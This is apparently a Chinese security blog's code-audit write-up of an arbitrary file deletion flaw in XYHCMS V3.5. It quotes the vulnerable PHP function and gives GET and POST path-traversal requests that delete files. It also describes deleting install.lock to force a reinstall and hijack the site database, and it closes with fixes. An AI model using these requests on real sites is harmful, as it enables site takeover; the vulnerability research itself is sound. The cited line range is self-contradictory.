1. 程式人生 > >【程式碼審計】XYHCMS V3.5任意檔案刪除漏洞分析

【程式碼審計】XYHCMS V3.5任意檔案刪除漏洞分析

 

0x00 環境準備

XYHCMS官網:http://www.xyhcms.com/

網站原始碼版本:XYHCMS V3.5(2017-12-04 更新)

程式原始碼下載:http://www.xyhcms.com/Show/download/id/2/at/0.html

測試網站首頁:

 

0x01 程式碼分析

1、漏洞檔案位置:/App/Manage/Controller/DatabaseController.class.php   第293--233行:

  1. public function delSqlFiles() {  
  2.         $id        = I('id', 0, 'intval');  
  3.         $batchFlag = I('get.batchFlag', 0, 'intval');  
  4.         //批量刪除  
  5.         if ($batchFlag) {  
  6.             $files = I('key', array());  
  7.         } else {  
  8.             $files[] = I('sqlfilename', '');  
  9.         }  
  10. 10.         if (empty($files)) {  
  11. 11.             $this->error('請選擇要刪除的sql檔案');  
  12. 12.         }  
  13. 13.         foreach ($files as $file) {  
  14. 14.             unlink($this->getDbPath() . '/' . $file);  
  15. 15.         }  
  16. 16.         $this->success("已刪除:" . implode(",", $files), U('Database/restore'));  
  17. 17.     }  

這段函式中對提交的引數進行簡單的判斷,然後將接受的引數拼接到路徑中,帶入到unlink函式中進行刪除,導致程式在實現上存在任意檔案刪除漏洞,攻擊者可通過該漏洞刪除任意檔案,如刪除install.lock進行CMS重灌,劫持網站

資料庫。

0x02 漏洞利用

1、在網站根目錄新建1.txt作為漏洞測試檔案

 

2、進行漏洞利用

漏洞利用方式一:

通過GET方式提交引數,刪除根目錄下的1.txt檔案

http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1

漏洞利用方式二:

通過POST提交引數,刪除根目錄下的1.txt檔案

http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1

POST:key%5B%5D=../../../1.txt

 

3、如何進一步利用呢?

刪除\Install\install.lock,進行CMS重灌,劫持網站資料庫。刪除install.lock檔案,訪問http://127.0.0.1/install/,成功進入系統重灌介面。

 

0x03 修復建議

1、過濾..,用來防止目錄跳轉

2、對要刪除的檔名進行嚴格限制

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。